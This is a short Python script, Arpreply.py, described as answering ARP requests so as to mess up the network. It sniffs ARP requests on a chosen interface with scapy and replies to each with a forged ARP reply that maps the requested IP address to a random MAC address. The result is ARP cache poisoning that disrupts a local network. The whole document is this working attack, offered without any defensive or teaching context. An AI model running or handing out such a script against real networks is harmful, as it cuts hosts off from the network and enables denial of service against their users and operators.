script gives response to the arp requests messing up the network.

Arpreply.py

#!/usr/bin/env python

import scapy.all as sc
import random
import pcapy

#list all interfaces
devices = pcapy.findalldevs()
print "Available devices are:"
for d in devices :
        print d
dev = raw_input("Enter interface name to inject ARP:: ") 


def macGen():
        return ':'.join(map(lambda x: "%02x" % x, [ 0x00, 0x16, 0x3E, random.randint(0x00, 0x7F), random.randint(0x00, 0xFF), random.randint(0x00, 0xFF) ]))

def arpreply(p):
        if (p.haslayer(sc.ARP)) and (p.op is 1):
                src_mac = p.src
                dst_mac = p.dst
                src_ip  = p.psrc
                dst_ip  = p.pdst
                r = sc.ARP()
                rand_mac= macGen()
                r.hwdst = src_mac
                r.pdst  = src_ip
                r.psrc  = dst_ip
                r.op    = 2
                r.src   = rand_mac
                r.hwsrc = rand_mac
                reply = sc.Ether(dst=src_mac, src=rand_mac)/r/sc.Padding(load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
                sc.sendp(reply)

sc.sniff(filter='arp',iface=dev, prn=arpreply, store=0)